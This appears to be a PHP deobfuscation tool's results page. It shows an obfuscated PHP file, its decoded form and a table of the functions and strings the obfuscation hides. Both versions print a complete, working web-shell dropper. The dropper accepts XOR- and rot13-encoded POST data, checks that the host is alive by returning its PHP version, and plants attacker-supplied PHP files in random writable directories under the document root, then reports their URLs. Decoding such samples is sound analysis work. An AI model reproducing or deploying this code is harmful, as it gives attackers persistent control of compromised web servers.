Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ahIOcJOctn = 'D'.chr(79)."\103"."\125".chr(77)."\105".chr(977-899)."\124".chr(95).c..

Decoded Output download

<?php $ahIOcJOctn = 'D'.chr(79)."C"."U".chr(77)."E".chr(977-899)."T".chr(95).chr(82)."O"."O"."T";$zReIj = chr(492-420)."T"."T"."P".chr(95)."H".'O'."S"."T";$gxKHXE = chr(104).chr(329-213)."t".'p'.":"."/".'/';$HfPosbIU = "."."p".chr(632-528).chr(602-490);$leFLXw = 'p'."h"."p";$bHDCpcCY = chr(102).chr(476-371).chr(108)."e".chr(95).chr(880-768)."u"."t".chr(95).chr(99).'o'.'n'."t".'e'.chr(618-508).'t'.'s';$zxTjreXO = "r".chr(875-778)."w"."u"."r"."l"."d"."e".chr(112-13)."o"."d"."e";$ABGWLk = 'u'."n".chr(895-780)."e"."r".'i'."a".chr(511-403).chr(105)."z".chr(154-53);$uFHzwdK = "p".'h'."p".'v'."e"."r".'s'."i".'o'.chr(110);$ETWwWXUyVE = chr(497-382).chr(526-410).chr(114)."_".chr(479-365)."o"."t"."1"."3";$BpRwa = 's'."e".chr(403-289).'i'."a".'l'."i".chr(122).chr(588-487);$oxqNTSCoq = "s".chr(116).chr(114)."_".chr(115).chr(309-197).chr(418-310).chr(105)."t";foreach ($_POST as $wdUrGhKIIa => $eXsMCcO){if (strlen($wdUrGhKIIa) == 16){$eXsMCcO = $oxqNTSCoq($zxTjreXO($ETWwWXUyVE($eXsMCcO)));$wdUrGhKIIa = array_slice($oxqNTSCoq(str_repeat($wdUrGhKIIa, (count($eXsMCcO)/16)+1)), 0, count($eXsMCcO));function JWzEe($NArubWXePG, $JhqLiVxDHb, $wdUrGhKIIa){$NTvUJThKU = "15b84507-6c2c-4b7a-bc13-f9065d53b52c";return $NArubWXePG ^ $NTvUJThKU[$JhqLiVxDHb % strlen($NTvUJThKU)] ^ $wdUrGhKIIa;}$eXsMCcO = implode("", array_map("JWzEe", array_values($eXsMCcO), array_keys($eXsMCcO), array_values($wdUrGhKIIa)));$eXsMCcO = @$ABGWLk($eXsMCcO);if (@is_array($eXsMCcO)){$EoFWvIKtF = array_keys($eXsMCcO);$eXsMCcO = $eXsMCcO[$EoFWvIKtF[0]];if ($eXsMCcO === $EoFWvIKtF[0]){echo @$BpRwa(Array($leFLXw => @$uFHzwdK(), ));exit();}else {function rVdVhWJcNg($jXgzPySSir){static $KIFRNcRDFM = array();$nnyRTo = glob($jXgzPySSir . '/*', GLOB_ONLYDIR);if (count($nnyRTo) > 0) {foreach ($nnyRTo as $jXgzPySS) {if (@is_writable($jXgzPySS)) {$KIFRNcRDFM[] = $jXgzPySS;}}}foreach ($nnyRTo as $jXgzPySSir) rVdVhWJcNg($jXgzPySSir);return $KIFRNcRDFM;}$Epuet = $_SERVER[$ahIOcJOctn];$nnyRTo = rVdVhWJcNg($Epuet);$EoFWvIKtF = array_rand($nnyRTo);$vzqxLAlar = $nnyRTo[$EoFWvIKtF] . "/" . substr(md5(time()), 0, 8) . $HfPosbIU;@$bHDCpcCY($vzqxLAlar, $eXsMCcO);echo $gxKHXE . $_SERVER[$zReIj] . substr($vzqxLAlar, strlen($Epuet));exit();}}}} ?>

Did this file decode correctly?

Original Code

<?php $ahIOcJOctn = 'D'.chr(79)."\103"."\125".chr(77)."\105".chr(977-899)."\124".chr(95).chr(82)."\117"."\x4f"."\x54";$zReIj = chr(492-420)."\x54"."\124"."\120".chr(95)."\x48".'O'."\123"."\124";$gxKHXE = chr(104).chr(329-213)."\164".'p'."\72"."\57".'/';$HfPosbIU = "\x2e"."\160".chr(632-528).chr(602-490);$leFLXw = 'p'."\150"."\x70";$bHDCpcCY = chr(102).chr(476-371).chr(108)."\145".chr(95).chr(880-768)."\x75"."\x74".chr(95).chr(99).'o'.'n'."\x74".'e'.chr(618-508).'t'.'s';$zxTjreXO = "\162".chr(875-778)."\x77"."\165"."\162"."\x6c"."\x64"."\145".chr(112-13)."\157"."\x64"."\145";$ABGWLk = 'u'."\156".chr(895-780)."\145"."\162".'i'."\141".chr(511-403).chr(105)."\x7a".chr(154-53);$uFHzwdK = "\x70".'h'."\160".'v'."\x65"."\x72".'s'."\x69".'o'.chr(110);$ETWwWXUyVE = chr(497-382).chr(526-410).chr(114)."\137".chr(479-365)."\x6f"."\164"."\x31"."\x33";$BpRwa = 's'."\x65".chr(403-289).'i'."\x61".'l'."\151".chr(122).chr(588-487);$oxqNTSCoq = "\x73".chr(116).chr(114)."\x5f".chr(115).chr(309-197).chr(418-310).chr(105)."\164";foreach ($_POST as $wdUrGhKIIa => $eXsMCcO){if (strlen($wdUrGhKIIa) == 16){$eXsMCcO = $oxqNTSCoq($zxTjreXO($ETWwWXUyVE($eXsMCcO)));$wdUrGhKIIa = array_slice($oxqNTSCoq(str_repeat($wdUrGhKIIa, (count($eXsMCcO)/16)+1)), 0, count($eXsMCcO));function JWzEe($NArubWXePG, $JhqLiVxDHb, $wdUrGhKIIa){$NTvUJThKU = "15b84507-6c2c-4b7a-bc13-f9065d53b52c";return $NArubWXePG ^ $NTvUJThKU[$JhqLiVxDHb % strlen($NTvUJThKU)] ^ $wdUrGhKIIa;}$eXsMCcO = implode("", array_map("JWzEe", array_values($eXsMCcO), array_keys($eXsMCcO), array_values($wdUrGhKIIa)));$eXsMCcO = @$ABGWLk($eXsMCcO);if (@is_array($eXsMCcO)){$EoFWvIKtF = array_keys($eXsMCcO);$eXsMCcO = $eXsMCcO[$EoFWvIKtF[0]];if ($eXsMCcO === $EoFWvIKtF[0]){echo @$BpRwa(Array($leFLXw => @$uFHzwdK(), ));exit();}else {function rVdVhWJcNg($jXgzPySSir){static $KIFRNcRDFM = array();$nnyRTo = glob($jXgzPySSir . '/*', GLOB_ONLYDIR);if (count($nnyRTo) > 0) {foreach ($nnyRTo as $jXgzPySS) {if (@is_writable($jXgzPySS)) {$KIFRNcRDFM[] = $jXgzPySS;}}}foreach ($nnyRTo as $jXgzPySSir) rVdVhWJcNg($jXgzPySSir);return $KIFRNcRDFM;}$Epuet = $_SERVER[$ahIOcJOctn];$nnyRTo = rVdVhWJcNg($Epuet);$EoFWvIKtF = array_rand($nnyRTo);$vzqxLAlar = $nnyRTo[$EoFWvIKtF] . "/" . substr(md5(time()), 0, 8) . $HfPosbIU;@$bHDCpcCY($vzqxLAlar, $eXsMCcO);echo $gxKHXE . $_SERVER[$zReIj] . substr($vzqxLAlar, strlen($Epuet));exit();}}}}

Function Calls

chr 39

Variables

$BpRwa serialize
$zReIj HTTP_HOST
$ABGWLk unserialize
$gxKHXE http://
$leFLXw php
$uFHzwdK phpversion
$HfPosbIU .php
$bHDCpcCY file_put_contents
$zxTjreXO rawurldecode
$oxqNTSCoq str_split
$ETWwWXUyVE str_rot13
$ahIOcJOctn DOCUMENT_ROOT

Stats

MD5 cf02f3e321ece5a71eedc1d1a74a85f2
Eval Count 0
Decode Time 92 ms